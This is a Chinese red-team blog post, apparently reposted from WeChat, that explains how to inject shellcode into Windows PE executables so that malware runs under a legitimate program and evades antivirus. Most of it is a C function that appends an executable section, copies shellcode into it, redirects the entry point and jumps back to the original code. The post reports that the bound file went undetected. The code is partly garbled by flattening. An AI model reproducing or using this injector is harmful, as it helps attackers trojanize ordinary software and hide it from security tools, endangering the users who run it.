文章前言
可执行文件注入(Portable Executable file injection
)是其中一种常见且有效的攻击技术。PE
文件是Windows
操作系统中最常见的可执行文件格式,包括.exe
、.dll
等。通过向PE
文件中注入恶意代码(如shellcode
),攻击者能够改变程序的原有执行逻辑,并以合法程序的身份执行恶意操作,达到绕过杀毒软件和安全监控的目的,进而实现免杀。
在实际攻击中,注入shellcode
到目标PE
文件内,不仅可以增强恶意代码的隐蔽性,还能有效避免静态分析和传统的检测方法。例如,注入后的PE
文件在执行时会自动跳转到shellcode
,而原始的程序逻辑依然可以执行,防止被检测到异常。
详细信息
PE
文件格式是Windows
平台上最常用的文件格式。一个典型的PE
文件包括多个部分:DOS
头、PE
头、节表、节区(Sections
)等。每个节区负责存放程序的代码、数据等信息。我们通过在这些节区中注入shellcode
,改变PE
文件的行为。
Shellcode
是精简的恶意代码,通常用来执行特定的攻击操作,如反向连接、权限提升、数据窃取等。在PE
文件注入的场景中,shellcode
通常需要插入到文件的一个新节区(Section
),并通过修改程序的入口点(Entry Point
,OEP
)指向新注入的shellcode
,确保程序启动时首先执行我们的恶意代码。
以下是注入shellcode的核心代码实现过程。通过这些代码,你可以看到如何在PE文件中创建新的节区,注入shellcode,并修改入口点:
BOOL inject_section(BYTE** pe_buffer, DWORD* pe_size, constchar* output_filename) { PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)(*pe_buffer); PIMAGE_NT_HEADERS32 nt_headers = (PIMAGE_NT_HEADERS32)(*pe_buffer + dos_header->e_lfanew); PIMAGE_SECTION_HEADER section_header = IMAGE_FIRST_SECTION(nt_headers);int num_sections = nt_headers->FileHeader.NumberOfSections; PIMAGE_SECTION_HEADER last_section = §ion_header[num_sections - 1]; PIMAGE_SECTION_HEADER new_section = §ion_header[num_sections]; ZeroMemory(new_section, sizeof(IMAGE_SECTION_HEADER)); DWORD section_align = nt_headers->OptionalHeader.SectionAlignment; DWORD file_align = nt_headers->OptionalHeader.FileAlignment; new_section->PointerToRawData = align_size(last_section->PointerToRawData + last_section->SizeOfRawData, file_align); new_section->VirtualAddress = align_size(last_section->VirtualAddress + last_section->Misc.VirtualSize, section_align); new_section->SizeOfRawData = align_size(SHELLCODE_SIZE, file_align); new_section->Misc.VirtualSize = SHELLCODE_SIZE; new_section->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;memcpy(new_section->Name, SECTION_NAME, 5); nt_headers->FileHeader.NumberOfSections += 1; nt_headers->OptionalHeader.SizeOfHeaders = align_size(sizeof(IMAGE_NT_HEADERS32) + (nt_headers->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER)), file_align); nt_headers->OptionalHeader.SizeOfImage = align_size(new_section->VirtualAddress + new_section->Misc.VirtualSize, section_align); DWORD old_oep = nt_headers->OptionalHeader.AddressOfEntryPoint; DWORD new_oep_offset = (new_section->VirtualAddress) + 1360;//start() nt_headers->OptionalHeader.AddressOfEntryPoint = new_oep_offset; // Ensure OEP points to the new section DWORD new_pe_size = new_section->PointerToRawData + new_section->SizeOfRawData; BYTE* new_pe_buffer = (BYTE*)malloc(new_pe_size);if (!new_pe_buffer) {printf("Memory allocation failed!n");return FALSE; } ZeroMemory(new_pe_buffer, new_pe_size);memcpy(new_pe_buffer, *pe_buffer, *pe_size); DWORD jmpOffset = old_oep - (new_oep_offset - 25 + 5);//start-25 == jmp xxxxx shellcode[1335] = 0xE9; // JMP opcode *((DWORD*)((BYTE*)&shellcode[1336])) = jmpOffset; // ת ַmemcpy(new_pe_buffer + new_section->PointerToRawData, shellcode, SHELLCODE_SIZE);free(*pe_buffer); // Free the old PE buffer *pe_buffer = new_pe_buffer; *pe_size = new_pe_size;printf("[+]Successfully injected new section: %sn", SECTION_NAME);// Write back to the PE fileif (!write_file(output_filename, new_pe_buffer, new_pe_size)) {printf("Failed to write the modified PE file!n");return FALSE; }printf("[+]Injection successful, saved to: %sn", output_filename);return TRUE;}
这段代码在PE文件中开辟一个节区,并将shellcode注入其中,随后它会让程序执行时跳转到shellcode的起始位置,确保shellcode被执行。
效果演示
使用工具将白程序与shellcode进行绑定,扫描未报毒。
原文始发于微信公众号(4SecNet):【红队利器】老鱼新吃-回归免杀本质
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论